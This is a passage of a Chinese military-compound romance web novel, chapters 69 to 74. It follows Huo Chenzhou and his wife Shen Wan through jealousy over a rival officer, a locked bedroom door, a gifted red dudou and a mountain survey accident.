霍沉舟无奈地揉了揉眉心："别闹。" 梁英闻声回头，顿时愣住了，不远处站着的姑娘穿着简单朴素的衣服，乌黑的长发松松挽起，露出一截雪白的颈子，最摄人心魄的是那双眼睛，像是盛着碎星子的清泉，眼尾微微上挑，带着几分慵懒的风情。 她从未见过这样明艳动人的女子。 第六十九章 锁门防狼 听到霍沉舟亲昵地唤她"阿晚"后，梁英脱口而出："你就是霍团长的媳妇？" 见沈晚没否认，梁英抱胸冷笑："原来你就是霍团长的那个农村媳妇，果然是只有一张脸能看。" 沈晚听着梁英呛人的语气，忍不住皱了皱眉。 两人素不相识，她不明白梁英这突如其来的敌意从何而来。 霍沉舟脸色骤冷："梁科长，请你对我妻子说话尊重一点！" 梁英一脸无所谓地耸耸肩："我说错了吗？她不是农村来的吗？" 沈晚平静地点头："没错，我确实是农村来的，难不成这位梁科长还看不起农村人？" 梁英自然不敢说自己瞧不起农村人，现在这些高层军官，十个里有九个都来自农村，越是贫农越受尊重，她冷哼一声：“你别乱给我安帽子，我可没有说我瞧不起农村人。” “那梁科长刚才特别强调我是农村来的是什么意思？” 梁英微微抬起下巴：“没什么意思，我想说，霍团长恐怕不能吃你送的饭了，他要陪我去食堂吃饭。” 沈晚不知道她哪来的自信，霍沉舟一定会陪她。 霍沉舟此时也黑了脸，正当他要开口时，走廊拐角突然传出一阵沉稳的脚步声，只见周卫国正陪着一位面容威严的中年男人走过来。 梁英看见来人，立刻挺直腰板敬了个标准的军礼："周首长！孔首长好！" 那位被称作孔首长的中年男子脸上浮起和蔼的笑容："英子，刚才就听见你的大嗓门了，怎么了这是？" 孔祥是梁英父亲的老战友，一直把她当亲闺女看待，尤其欣赏她在军事指挥上不输男儿的魄力。 梁英收起方才的傲慢，语气恭敬中带着几分撒娇："孔叔，我想让第七师的霍团长陪我吃顿饭，顺便带我参观下他们的训练场。" 孔祥这才将目光转向霍沉舟，眼中闪过赞赏："这位就是霍团长？果然是一表人才，老周可没少在我面前夸你。" 霍沉舟尊敬地敬了个礼。 孔祥满意地点点头："你们两个赶紧吃饭去吧，不然晚点又要开会了。" 沈晚本想着不想让霍沉舟为难，正打算主动离开，没想到霍沉舟却站在原地没动："报告，我不能陪梁科长吃饭了。" 周卫国扫过一旁的沈晚，心中已有猜测，这小子是在护媳妇呢。 孔祥笑容不减："哦？为什么？" 梁英抢着回答："是因为霍团长的爱人来送饭了。但我觉得这位女同志应该不会介意吧？毕竟只是一顿饭而已……" 霍沉舟脸色阴沉刚要说话，沈晚却轻轻开口："嗯，我不介意。沉舟，你陪梁科长去食堂吧，正好可以边吃边谈工作，我先回去了。" 霍沉舟看着沈晚径直离开的背影，没有半分勉强，不由默默咬了咬后槽牙。 他正想追过去，梁英又拦在他面前："这下首长和你爱人都同意了，你能陪我去了吧？" 霍沉舟下颌线绷得死紧，垂在身侧的手攥成拳头，才忍住没把梁英一把推开的冲动。 此时的沈晚提着饭盒走在林荫道上，心里有点不是滋味。 她当然没那么大方，让自己男人去陪别的女人吃饭，但是想到这次作战演习关系到两个军区的协同配合，她不想让霍沉舟为难。 沈晚深吸一口气，努力压下心里那股酸涩，她还真的有点不习惯自己对一个男人有这么强的占有欲。 虽然两人最近关系突飞猛进，那些该做的不该做的都做了，只差最后一步，但都是冲动之后的结果。 离婚申请就像一座小山压在她心头，她不确定霍沉舟心里到底怎么想的，夜夜缠着她索吻，却从未提过两人的关系。 沈晚也搞不懂自己对霍沉舟是什么感情了，她决定给自己一段时间冷静一下，好好审视这段关系。 等到晚饭时间，沈晚把中午做的饭菜重新热了热。 霍小川坐在餐桌前，小嘴塞得鼓鼓的，含糊不清地问："妈妈，爸爸什么时候回来呀？" 沈晚用筷子轻轻敲了下他的碗边："慢点吃，别噎着。" 她望向窗外渐暗的天色，语气平静，"不知道呢。" 说不定又陪梁科长吃晚饭去了，她在心里默默补充道。 小家伙敏锐地察觉到妈妈情绪不对，把排骨夹到她碗里："妈妈也吃！" 沈晚揉了揉他的小脑袋。 晚上睡觉前，霍沉舟还没回来。 沈晚洗漱完回到房间，想到这几天夜里某人总来爬她的炕，咬了咬下唇，关门时"咔嗒"一声把门从里面锁上了。 被窝里的霍小川揉着眼睛，疑惑地问："妈妈，你锁门干什么？" "防狼。"沈晚没好气地答道。 那个一进被窝就对她又啃又咬的男人，可不就跟饿狼似的？ 霍小川顿时精神了，一骨碌爬起来："哪来的狼？要不要告诉爸爸？" 沈晚被儿子天真的反应逗笑了，掀开被子躺进去："睡吧，狼进不来的。" 半夜，霍沉舟带着一身寒气从军区作战室回来。 他和参谋们研究了整晚的作战地图，连抽了好几包烟。 此刻他站在主卧门口，把厚重的棉服和靴子脱在走廊，又仔细闻了闻确保身上没有烟味后，才伸手去拧门把手—— 咔嗒。 门纹丝不动。 霍沉舟身形一顿，以为自己手冻僵了没使上劲，又用力拧了拧——门依然锁得死死的。 "......" 霍沉舟眼底闪过一抹危险的暗芒，真有本事，白天大度地把他推给别的女人，现在都敢锁门防他了。 他舌尖抵在上颚，在门口站了好一会。 最终，男人冷笑一声，转身回了自己房间。 屋里，睡梦中的沈晚迷迷糊糊听到门口的动静。 她下意识往被窝里缩了缩，猜到是霍沉舟回来了，却只是把被子往上一拉，蒙住头继续睡。 第二天早上，沈晚悠悠醒来，打着哈欠从屋里走出来。 一抬头，迎面撞上也刚出屋的霍沉舟，男人好像一夜没睡好，眼下泛着淡淡的青色，黑眸直勾勾地盯着她。 沈晚想到昨晚锁门的事，心虚地垂下眼睫，装作若无其事地想要绕过他。 但男人长臂一伸…… 第七十章 你就那么想离吗？ 男人长臂一伸，直接将沈晚抵在门框上："昨天晚上睡得好吗？" 沈晚不敢抬头看他："挺好的啊，你睡得不好吗？" "不好。"霍沉舟低沉的嗓音里带着明显的倦意，他微微俯身，温热的呼吸喷洒在她耳畔，"没有你在身边，我睡不好。" 沈晚忍不住心头一跳。 闻着霍沉舟身上淡淡的烟草香，她脸颊又开始发烫。 这种不受控的身体反应让她突然意识到自己对霍沉舟好像是那种生理性的喜欢，就是一靠近就会心跳加速、呼吸发乱，霍沉舟身上那股独特的凛冽气息像一张无形的网，将她整个人裹挟其中，挣脱不得。 霍沉舟越靠越近，薄唇几乎贴上她敏感的耳垂："昨天晚上为什么锁门？嗯？" 随着霍沉舟那声低沉沙哑的"嗯？"，沈晚只觉得一股酥麻从耳际窜到脊背，腿都快站不稳了。 她强装镇定地别过脸："就我和小川两个人在家，锁门稳妥些。" 霍沉舟深吸一口气，喉结滚动。 明明知道这是沈晚拙劣的借口，但他还是没揭穿，只是用指腹摩挲着她泛红的耳廓："那以后别锁了。" 沈晚没出声，倔强地别过脸去，用沉默抗拒着霍沉舟。 霍沉舟叹了口气，实在想不通她为什么生这么大的气，明明昨天是她亲手把他推给梁英的，现在反倒要他来哄。 "生气了？"他低头凑近她耳畔，嗓音低沉，"生什么气，告诉我。" 沈晚摇摇头，声音闷闷的："没有。" 霍沉舟显然不信，两人就这样僵持着。 过了好一会儿，沈晚突然抬起头，一脸认真地问道："霍沉舟，离婚审批什么时候下来？" 她不想太过明显地去提醒霍沉舟自己是在意离婚申请的事情，只能婉转地换了个方式问霍沉舟。 霍沉舟呼吸一窒，盯着沈晚认真的小脸，心脏像是被一只无形的手狠狠攥住。 他很想去问沈晚"你就那么想离吗"，但话到嘴边又咽了回去。 他怕听到那个最不想听的答案，万一这个女人真的说出"是"，他不知道自己会做出什么事来。 霍沉舟的沉默落在沈晚眼中，却成了另一种意思。她默默咬了咬下唇，心口像是被针扎似的。 突然，门口传来敲门声。 沈晚趁机从霍沉舟怀里挣脱出来，快步走去开门。 门外站着顾战，看见是沈晚开门，咧嘴笑了笑："嫂子，团长起了吗？" 沈晚点点头，侧身让开位置，自己转身进了厨房。 顾战探头看见霍沉舟站在墙边，脸色阴沉得吓人，有些摸不着头脑："团长，首长那边让你过去一趟。" 霍沉舟"嗯"了一声，声音沙哑："我换衣服。" "好嘞。"顾战总觉得气氛不太对。 霍沉舟回屋换好衣服，要走时，沈晚也没出来送他。 他拳头紧了紧，终究没多说什么，和顾战一起走了。 沈晚把霍小川送到托儿所后，开始捣鼓药材转移自己的注意力。 她取出一方青石药碾，将晒干的当归片放入凹槽，手持石轮来回研磨，药碾与石槽摩擦发出规律的"咯吱"声，褐色的药粉渐渐堆积在槽底。 这时赵晓燕来找她："妹子，我在家待得无聊，正好今天文工团在礼堂演《红色娘子军》，咱们一起去看吧？" 沈晚放下药碾，擦了擦手上的药粉："你现在怀着孕，礼堂人多挤来挤去的，太危险了。" "哎呀没事！"赵晓燕拍拍肚子，“我们农村人哪有那么矫情。” 沈晚心中一动，突然想到李丽之前提过的"蒋雪"，便问道："赵姐，你知道蒋雪吗？" 赵晓燕歪着头想了想："好像知道，是文工团的台柱子吧？长得挺漂亮的。她年前被派去京市进修了，最近才回来。对了，她表姐就是李丽啊！" 沈晚了然地点点头。 难怪李丽这么执着于把蒋雪介绍给霍沉舟，原来是表姐妹。 "走走走，"赵晓燕挽住她的胳膊，"听说今天蒋雪要跳主角，咱们正好去瞧瞧。" 两人刚走到礼堂门口，就听见里面传来阵阵掌声。 走进礼堂，扑面而来的是暖融融的热气和此起彼伏的掌声，礼堂里坐满了人，舞台两侧挂满红色横幅。 舞台上，一个身着白色芭蕾舞裙的姑娘正在翩翩起舞。 蒋雪确实生得漂亮，瓜子脸，柳叶眉，杏眸樱桃唇，踮起脚尖旋转时，裙摆像朵绽放的白玉兰，她正跳着《红色娘子军》的选段，每个动作都很标准。。 赵晓燕拉着沈晚在角落找到两个空位，刚落座就小声赞叹："瞧瞧人家这身段，不愧是京市进修过的。" 沈晚礼貌性地看了会儿，却实在提不起兴趣。 等到舞剧结束后，人流开始从狭窄的门口涌出。 赵晓燕本来也想跟着人群往外走，但沈晚担心她怀着身孕被人挤到，便拉着她继续坐着："再等会儿，不急。" 等大多数人都走完了，两人才慢悠悠地从大门出去。 刚走到门口，就听见两个穿着粉色练功服的女同志正在闲聊，看打扮应该是文工团的舞蹈演员。 "蒋雪不是去京市培训两年吗？怎么才这么快就回来了？" "你傻呀！"另一个姑娘压低声音，"听说霍团长要离婚了，她能不赶紧回来吗？人家可是惦记好几年了，就等着这个机会呢！" 赵晓燕眼睛一瞪，当即就叉腰喊道："嘿！谁说霍团长要离婚啊？人家两口子好着呢！你们这些小丫头片子，整天就知道嚼舌根！" 那两个年轻姑娘被这突如其来的呵斥吓得一哆嗦，看到赵晓燕后，连话都不敢回，低着头快步跑开了。 赵晓燕气呼呼地转头，拉着沈晚的手安慰道："小晚妹子，你千万别听她们胡说！这些文工团的小姑娘，整天就知道做白日梦。霍团长对你什么样，别人不知道，你心里可得有数啊。" 沈晚轻轻摇头："没事的赵姐，我不在意这些闲话。" 对于她来说，真正在意的是霍沉舟的想法。 第七十一章 如果可以想要二胎 这边的霍沉舟正坐在会议室里，修长的手指漫不经心地摆弄着钢笔。 台上梁英正在讲解第三师的新型战术部署，投影仪的光打在她自信的脸上。 "采用这种梯次推进的阵型，可以有效减少山地作战的伤亡率……" 霍沉舟垂眸，侧脸优渥，浓密的睫毛在眼下投出一小片阴影，那睫毛比女同志还要长。 当梁英讲完后，周卫国和孔祥率先为她鼓掌，带动着会议室里的其他人也跟着鼓掌。 唯独霍沉舟始终把玩着钢笔，连头都没抬一下。 梁英注意到了，抬起下巴："霍团长，你是不是对我的方案有意见？" 会议室瞬间安静下来。 霍沉舟这才缓缓抬眼，钢笔在指间转了个漂亮的弧线："梁科长多虑了。" 梁英看着他冷淡疏离的模样，不爽地拧起眉头。 她又不是傻子，自然能感受到霍沉舟对她的疏远，昨天虽然勉强陪她吃了饭，但全程都坐在离她最远的位置，活像她身上带着瘟疫似的。 会议结束后，梁英故意跟在霍沉舟身后，眼看他就要进办公室了，她终于忍不住喊住他："霍团长！" 霍沉舟缓缓转身，眉宇间带着明显的不耐："有事？" 梁英心里有点不舒服："没事就不能聊聊了？" 霍沉舟看见她，就想到昨天沈晚把自己推给梁英的画面，心情更加不美妙。 他单手插兜，居高临下地吐出两个字："不能。" 他说完，就直接转身关上门，梁英气愤地想一脚踢在门上，但是她是有心没胆，只能憋着一股气离开了。 霍沉舟关上门后，从抽屉里摸出一根香烟，修长的手指熟稔地弹出一根叼在唇间。 他现在一想到沈晚要和他离婚，胸口就像压了块烧红的烙铁，又疼又闷。 沈晚这辈子只能是他的，离婚想都别想。 下午，受人之托的顾战回到大院来到霍家。 沈晚看见来人后，有点惊讶："顾营长，你怎么来了？" 顾战搓了搓手，眼神飘忽："嫂子，你能不能给团长做顿饭？我带回去给他吃。" 沈晚挑眉："为什么？食堂倒闭了？" 顾战干笑两声："那倒没有，就是团长今天太忙了，一直不吃饭。" 他咽了咽口水，硬着头皮继续编，"我想着你要是给他做了，他肯定会吃的。对，就是这样。" 沈晚看着顾战紧张的样子，心里跟明镜似的。 沈晚故意问道："你确定不是别人叫你来的？" 顾战信誓旦旦地摇头："当然不是！纯属是我担心团长不吃饭，胃病犯了。" 见沈晚只是似笑非笑地看着他，也不说话，顾战额头都冒出了细汗，声音越来越小："嫂子，你就做吧……" 沈晚叹了口气："行吧。" 顾战如释重负，脸上瞬间笑开了花："谢谢嫂子！需要我帮忙打下手吗？" 沈晚系上围裙："不用，你坐着等会吧。" 她心里还憋着气，但又不忍心真让霍沉舟饿着，干脆把昨天剩下的米饭做了个蛋炒饭。 她还特意切了些腊肉丁和翠绿的葱花撒进去。 锅铲翻动间，香气很快弥漫整个厨房。 顾战感觉才坐了没一会儿，就见沈晚提着饭盒从厨房出来了："喏，拿去给他吃吧。" "这么快就做好了？"顾战接过饭盒，掀开盖子闻了闻，"嚯！真香！" 金黄的米粒裹着蛋花，腊肉油润透亮，红艳艳的辣椒酱看着就开胃。 “嗯。” 顾战乐呵呵道：“嫂子手艺可真好。” 等他提着饭盒来到办公楼时，刚要敲门进霍沉舟的办公室，路过的梁英突然叫住他："顾营长！" 顾战看见她，脸上笑容淡了几分："梁科长，有事吗？" 梁英盯着他手里的饭盒，挑眉问道："你这是要给霍沉舟送饭吃？" "对啊，我们团长殚精竭虑，一整天都没好好吃饭了。" "你这不是食堂的饭吧？" 顾战面不改色："不是，是我们嫂子看不过团长这么辛苦，亲手做的。" 梁英神情一僵，“哦”了一声，又忍不住问道：“你们团长和那个老家媳妇感情很好吗？我好像听说霍团长不是要和她离婚了吗？” 顾战眼都不眨，张口就来："那都是外界瞎传的！我们团长和嫂子感情好得很，天天腻歪得没眼看。前两天团长还说要跟嫂子要二胎呢！" 梁英嘴角抽搐了一下，她实在无法想象霍沉舟这种高岭之花会和一个乡下来的女人腻歪，在她眼中，霍沉舟配得上更好的女人。 比如，她。 她可是军事学院优秀毕业生，两次荣获三等功，父亲也是军区参谋长，同时精通俄语和战术推演，哪点不比那个村姑强？ 真想不明白霍沉舟为什么会喜欢那个村姑。 顾战继续笑眯眯道："我能进去给我们团长送饭了吗？" 梁英还能说什么，只能点点头。 顾战转身敲门，里面传来霍沉舟冷峻的声音："进。" 一进门，顾战就殷勤地把饭盒放在霍沉舟面前："团长，你想吃的嫂子做的饭，我给你带回来了。" 霍沉舟没急着开吃，似笑非笑地看着他："你刚才在外面说什么？我要生二胎？" 顾战挠挠头，嘿嘿一笑："这不是为了气那个梁科长嘛，你没看她刚才那个脸色，跟死了三天的带鱼一样。" 霍沉舟唇角微不可察地勾了勾。 如果可以，他确实想要个二胎，最好是个女儿，像阿晚一样漂亮。 他打开饭盒，金黄的蛋花裹着粒粒分明的米饭，腊肉的咸香混着辣椒酱的辛香扑面而来。 虽然只是简单的蛋炒饭，但霍沉舟吃得格外香，两大口下去，大半盒已经见了底。 顾战本来都吃完饭了，看霍沉舟吃的那么香，忍不住咽了口唾沫：“团长，给我尝一口呗。” 但霍沉舟只是护食般地甩出两个字：“不给。” 之后风卷残云般地把剩下的饭扒拉干净，然后拿着饭盒去卫生间，仔仔细细地冲洗干净。 第七十二章 红色肚兜 傍晚时分，张德志从收发室抱回来一个鼓鼓囊囊的包裹。 赵晓燕兴冲冲地拆开，里面堆满了她娘家寄来的特产：两包晒干的野生榛蘑，一瓶自家酿的山楂蜜，几捆老家特产的粉条，还有一包用油纸包着的红肠。 最底下还藏着一个用红绸布仔细包裹的小物件。 赵晓燕好奇地解开，抖开一看，竟是一件绣着鸳鸯图案的红色肚兜！ 饶是爽利的赵晓燕，也不禁老脸一红。 趁着张德志没注意，她连忙把肚兜重新包好。 她猛地想起上个月娘家来信里那些露骨的叮嘱，这肯定是她娘听说要想怀孕，必须让男人对那事儿更热情，才病急乱投医特地做了这么件惹火的肚兜寄来。 赵晓燕哭笑不得地摇摇头，不过现在自己已经怀上了，这东西倒是用不着了。 她抿唇一笑，倒是有一个想法。 "就寄了些土特产呗，都在桌子上，你一会自己看看。"赵晓燕边往门外走边应道，"我去小晚妹子家一趟。" 张德志擦干手从厨房出来时，屋里早已没了媳妇的影子。 赵晓燕捂着鼓囊囊的衣兜，急匆匆跑到沈晚家，一进门就神秘兮兮地左右张望："你家没别人吧？" 沈晚正在整理药材，见她这副做贼似的模样，忍不住歪头问道："咋了赵姐？家里还没人。" 赵晓燕这才松了口气，从兜里掏出那团红绸布。 沈晚看见这鲜艳的红色布料，好奇地问："这是什么？" 赵晓燕挤了挤眼："你猜猜。" 沈晚捏了捏布料，疑惑道："这布料也不像头巾啊，还绣着花样，嫂子，你别卖关子了。" 赵晓燕噗嗤一笑，突然把手里的红绸布"唰"地抖开—— 是一件做工精致的大红肚兜，正中央用金线绣着交颈鸳鸯，边缘缀着一圈小巧的银铃铛，两根细细的红色系带垂落下来，随着动作轻轻晃动。 沈晚整个人愣住了。 作为现代人，她只在古籍插图里见过这玩意儿，实物冲击力实在有点大。 "怎么样？"赵晓燕晃了晃肚兜，“好看不？” 沈晚不明所以，只能凭感觉点点头："挺好看的，很精细。" "那就给你穿吧。"赵晓燕一把将肚兜塞到她手里。 沈晚握着那滑溜溜的绸缎，感觉掌心发烫，脸颊瞬间烧了起来："赵姐，你给我这个干嘛？" 赵晓燕笑了："这是我娘给我寄的。我之前不是一直怀不上吗？她不知道从哪听说的，要想怀孕就得让男人更来劲儿……" 她说着自己也红了脸，"所以特地给我做了这个。但我现在都用不到了嘛。" 沈晚听明白用途后，手里的肚兜顿时变得更烫了。 沈晚垂下眸子："赵姐，这我要了也没什么用，你拿回去吧。" 霍沉舟现在对她已经够热情了，要是再来这么件东西，那不得把她生吞活剥了？ 赵晓燕拍拍她的手背："你和霍团长现在是不是还分房住呢？夫妻俩哪有一直分房住的。姐知道你这人脸皮薄，但有时候女人也不能太端着。你就晚上穿这么一件肚兜，往炕头那么一坐，连话都不用说，保管你家霍团长看得眼都直了！" 沈晚的俏脸已经红得像要滴血，从耳根一路红到锁骨。 "赵姐！"沈晚猛地捂住发烫的脸颊，"你别说了。" 赵晓燕看着她这副羞得快冒烟的模样，笑得前仰后合："哎哟，这有什么好害臊的！我跟你说啊……" 她本来还想说点什么，门口突然传来脚步声，紧接着传来霍小川脆生生的声音。 赵晓燕连忙说：“肚兜你可要好好用啊，我先走了。” 沈晚来不及把东西还给她，眼看着霍沉舟一会进来了，只能先回到卧室把肚兜随便掖在了枕头底下。 门口。 赵晓燕笑眯眯地和霍沉舟打招呼：“霍团长回来了。” "嫂子。"霍沉舟牵着霍小川的手点头示意。 霍小川仰着小脑袋："赵姨！" "欸！"赵晓燕揉了揉他的脑袋。 霍沉舟进屋时，正看见沈晚从卧室出来，脸颊泛着不自然的红晕，目光飘忽不敢与他对视。 要不是刚碰见赵晓燕，他真要怀疑这女人是不是在屋里藏了人。 "怎么了？"他挑眉问道。 沈晚轻吸一口气，饱满的胸口微微起伏："没事。" 霍小川扑进她怀里，兴奋地晃着她的手臂："妈妈，我会你教我的魔方口诀了！你今天教我那个高级口诀好不好？" 沈晚满口答应："好好好，小川真厉害，这么快就学会了。" 霍沉舟看着沈晚明显有事瞒着他的样子，眸色微沉。 晚饭后，沈晚拿起魔方坐在炕沿，霍小川立刻像小尾巴似的黏过来。 "来，妈妈教你更厉害的口诀。"她灵活地转动魔方，手指翻飞间魔方发出清脆的咔嗒声，"上左下右转一圈，前顺后逆回中间。" 霍小川眼睛亮晶晶的，看沈晚示范一遍后，立马迫不及待地拿过魔方：“我也要试试！” 霍沉舟收拾完家务进来后，在旁边默默看着母子俩玩魔方。 过了一会，他有些疲倦地往后一仰，直接躺倒在炕上。 他单手支着脑袋，另一只手随意搭在屈起的膝盖上，军衬衣最上面的两颗扣子不知何时解开了，露出一截线条分明的锁骨。 沈晚不经意间回头，正撞见霍沉舟这副慵懒随性的姿态。 男人半眯着眼，长腿随意舒展，领口微敞处隐约可见结实的胸膛，在灯光下投落一片暧昧的阴影。 他这副模样，活像是在勾引她一样。 不得不说，这男人是真的勾人啊。 沈晚悄悄咽了咽口水，强迫自己移开视线。 她决不能让霍沉舟发现，自己其实也很馋他，不然最后那点底线怕是守不住了。 霍沉舟并未察觉她的异样，余光却突然瞥见枕头底下露出一角艳红色，他敢确定自己从没见沈晚穿过这种颜色的衣物。 男人眸光一暗，不动声色地伸手想拽出来…… 第七十三章 求求你了，阿晚~ 霍沉舟眸色一暗，修长的手指刚要碰到那抹艳红。 霍小川突然揉着眼睛打了个哈欠，声音软糯：“妈妈，我困了。” 霍沉舟只好把手默默地收了回来。 此时的霍小川突然感受后脑勺凉飕飕的…… 沈晚正好也想让霍沉舟出去呢，他在旁边，自己浑身上下都不得劲。 她突然回头："霍沉舟，我们困了，你出去吧。" 霍沉舟盯着她的眼睛，半晌才无奈地坐起身："今天晚上我能不能陪你们母子俩一起睡？" 他嗓音低哑，带着几分示弱的意味。 霍小川拍着手欢呼："好啊好啊！我想和爸爸妈妈一起睡！" 沈晚别开脸，没有丝毫心软："不行。" 霍沉舟叹了口气，揉了揉儿子的脑袋："好吧。" "再见了爸爸！"霍小川依依不舍地挥着小手。 霍沉舟笑不出来。 他刚走出房门，屋里的人就迫不及待地关上了门，随着身后"咔哒"一声落锁的轻响。 霍沉舟的心渐渐沉了下去，默默咬紧了后槽牙。 就这么防着他…… 霍沉舟回到屋里，躺在炕上翻来覆去睡不着，想不通小女人为什么突然对他这么冷淡。 他烦躁地起身，干脆把烧炕的火彻底熄灭，仿佛这样才能浇灭心头那股无名火。 而此时的沈晚同样辗转难眠。 她枕在枕头上，指尖无意识地摩挲着藏在枕头下的肚兜，莫名开始怀念霍沉舟抱着她的感觉。 男人会用结实的手臂环着她的腰，掌心贴在她的小腹上，灼热的体温透过薄薄的睡衣传来，下巴抵在她发顶，像是要把她整个人揉进骨血里似的。 沈晚猛地咬住下唇，轻吸一口气。 刚闭上眼强迫自己入睡，一股尿意却突然袭来。她懊恼地睁开眼，这才想起刚才关门太急，尿壶还留在霍沉舟房间里。 沈晚拼命自我催眠，可越是刻意忽略，那股尿意就越是明显。她在被窝里辗转反侧了五分钟，终于认命地探出头来。 她胡乱揉了揉睡得蓬乱的头发，窸窸窣窣地套上棉袄棉裤。 本想用尿壶解决，但一想到要去霍沉舟房间取，顿时打消了这个念头。 还是去公共厕所吧，但是她得先找到家里的手电。 记忆里手电筒应该放在五斗橱最下面的抽屉。 沈晚摸黑来到客厅，"哗啦"一声轻响，抽屉被拉开，她蹲在地上，手掌在一堆杂物中摸索。 此时屋内还没睡着的霍沉舟突然听到客厅里传来"哗啦"的抽屉滑动声，在寂静的夜里显得格外清晰。 他微微拧眉。 接着是一阵窸窸窣窣的翻找声，伴随着女人几声几不可闻的叹息，霍沉舟掀开被子，轻手轻脚地下了炕。 当沈晚指尖碰到冰凉的手电筒外壳，刚松了一口气，身后突然传来一道低沉的男声："这么晚不睡，找什么呢？" 沈晚被吓得一个激灵，差点叫出声来。 她猛地转身，看见一道高大的黑影正站在侧卧门口。 月光从窗外洒进来，勾勒出霍沉舟棱角分明的轮廓，他只穿了件单薄的背心，肌肉线条很明显。 看清人脸后，沈晚拍了拍起伏的胸脯："你走路怎么没声音啊？人吓人是会吓死人的你知不知道？" 霍沉舟没接话，目光落在她凌乱的发梢和泛红的耳尖上。 他缓步走近："想上厕所？" 沈晚懒得搭理他，裹紧棉袄就要往门外走。 谁知下一秒，一双有力的手臂突然从身后将她拦腰抱起！ "唔！"沈晚下意识捂住嘴，把惊叫咽了回去，她在霍沉舟怀里拼命挣扎，压低声音羞恼道："快放我下来！" 霍沉舟充耳不闻，抱着她大步走向自己房间。 他用脚带上门，随即把女人摔在炕上。 虽然落在松软的被褥上，沈晚还是忍不住“唔”了一声，下一秒，男人极具压迫感的身躯已经覆了上来。 沈晚艰难地从缠绵的吻中找回一丝理智:“等一下，我....我想上厕所。” "就在这里上。" 沈晚瞪了他一眼:“……那你出去。” 霍沉舟难得恶趣味一次："我不。” "霍沉舟！你这个混蛋！"沈晚气得在被子里踢他。 "上不上？"霍沉舟又问了她一次，低沉的声音里带着明显的戏谑。 沈晚在被窝里天人交战了半天，最终还是抵挡不住生理需求的强烈召唤。 她猛地掀开被子，推搡着男人结实的胸膛："让开！我真憋不住了！" 霍沉舟低笑一声，这才慢悠悠地直起身。 于是，沈晚度过了她人生中最难熬的一分钟。 解决完尿急后，沈晚气呼呼地系好裤腰带，瞪了一眼炕上的男人：“你真是变态！” 霍沉舟低笑出声，长臂一捞就把人重新揽进怀里。 两人滚进暖烘烘的被窝，他手臂从背后环住沈晚的腰，下巴抵在她发顶，呼吸灼热："现在能告诉我，这两天为什么这么生我的气了吗？" 沈晚被他抱得浑身发软，却还嘴硬："你求我啊，求我我就告诉你。" "求求你了。"霍沉舟的唇几乎贴在她耳廓上，低沉的嗓音带着几分撒娇的意味，"告诉我吧，阿晚~" 那声"阿晚"叫得百转千回，沈晚顿时觉得半边身子都酥了。 她暗骂自己没出息，明明都同住一个屋檐下这么久了，还是对这男人的声音毫无抵抗力。 她转过身，指尖戳着他硬邦邦的胸膛：“还不是因为你那天真的陪梁英去吃饭了。” 这语气活像个吃醋的小媳妇。 霍沉舟眨眨眼，露出几分委屈的神色："那不是你让我去的吗？" 沈晚气得牙痒痒，揪住他的衣领："我让你去你就去？那我让你吃屎你吃不吃？" 这番比喻实在有点粗俗，但确实很符合沈晚现在咬牙切齿的心境，明明是这个男人的错，他居然还一脸无辜地装委屈。 第七十四章 为了救梁英受伤？ 霍沉舟听着这毫不讲理的质问，不但没恼，反而低笑出声。 他好脾气地认错，温热的大掌轻轻包住她攥紧的小拳头："好好好，我的错。" 男人俯身在她气鼓鼓的脸颊上亲了一口。 沈晚依偎在男人温暖的怀抱里，抿了抿唇，终究没说出自己真正在意的是哪件事。 这一刻，她不想让任何不愉快打扰这份难得的温存，哪怕这份温存只剩下最后几天，她也只想好好享受。 沈晚想着又往霍沉舟怀里钻了钻，紧紧抱住了他的腰身。 霍沉舟一怔，随即眼底漾开温柔的笑意，收拢双臂将她搂得更紧。 他刚想开口问"你想和我离婚吗"，却听见怀中传来均匀轻浅的呼吸声。 霍沉舟凝视许久，最终只是轻轻吻了吻她的发顶。 第二天早上，霍小川揉着眼睛从屋里出来，却看见妈妈从爸爸房间打着哈欠走出来。 小家伙眨了眨大眼睛，一脸天真地问："妈妈，你怎么从爸爸屋里出来呀？" 沈晚神情有点不自然：“妈妈找爸爸说了点事。” 霍小川歪着头“哦”了一声，也不知道信没信。 霍沉舟来到办公楼时，梁英正等在他办公室门口。 看见男人挺拔的身影出现，她立刻站直身体，嘴角扬起微笑："霍团长。" 霍沉舟只是淡淡看她一眼，开门，关门，动作一气呵成，梁英急忙用靴子抵住门缝，硬是挤了进来："今天上山勘察演习地形，我和你一起去。" 怕霍沉舟拒绝，梁英连忙补充："周首长已经批准了。" 霍沉舟冷着脸，看见梁英就想起家里那个为这事跟他怄气的小祖宗。 他烦躁地从抽屉摸出一包大前门，修长的手指弹出一根叼在唇间。 "嚓——" 火柴划燃的瞬间，橘红色的火光照亮他锋利的轮廓。 男人微微低头，烟头凑近火焰时，浓密的睫毛在眼下投下一片阴影，他深吸一口，青白的烟雾从薄唇间缓缓吐出，喉结随着吐息轻轻滚动。 梁英被烟呛得咳嗽两声，却移不开眼。 霍沉舟抽烟的样子太过性感，那种漫不经心的痞气与他平日里的冷峻形成致命的反差，她的心跳不受控制地加快，脸颊也隐隐发烫。 接下来的行程中，霍沉舟完全没顾及队伍中有个女同志，一直大步流星地在前面带队。 梁英身体素质虽然比普通女同志好了很多，却还是跟不上队伍的速度。 她靠在一棵白桦树上喘着粗气："霍团长，等我一下！" 前方带队的霍沉舟连头都没回，顾战从梁英身旁经过时，忍不住停下脚步，一脸同情地摇摇头："梁科长，我劝你还是回营地等着吧。我们团长带队向来这样，你受不了的。" 梁英咬紧牙关，指甲深深掐进掌心。她看着霍沉舟的方向，倔强地直起身："我不回去！" 她又追了上去，霍沉舟余光瞥见那道身影，眉头拧得更紧。 等队伍行进到一处陡峭的斜坡时，狭窄的山路一人走绰绰有余，但两个人走就有点拥挤了，两侧都是湿滑的碎石。 梁英却偏要往霍沉舟身边凑。 霍沉舟忍不住了，冷声呵斥：“离我远点！” 梁英抿紧唇，不服气地往后退了两步，结果脚下一滑。 "啊！" 她整个人向前栽去，慌乱中一把抓住霍沉舟的衣服，两人在斜坡上踉跄了几步，眼看就要一起滚下山坡。 千钧一发之际，霍沉舟左手猛地抓住崖边突出的树根，右手死死扣住梁英的手腕，右腿抵在一块凸起的岩石上。 随着梁英身体的剧烈晃动，他右腿旧伤处传来钻心的疼痛，额角瞬间渗出冷汗。 "团长！"顾战吓得魂飞魄散，一个箭步冲上前抓住梁英的另一只胳膊。 两人合力之下，终于将梁英拽了上来。 霍沉舟松开手，踉跄着后退两步，右腿已经疼得发麻。 梁英惊魂未定地坐在地上。 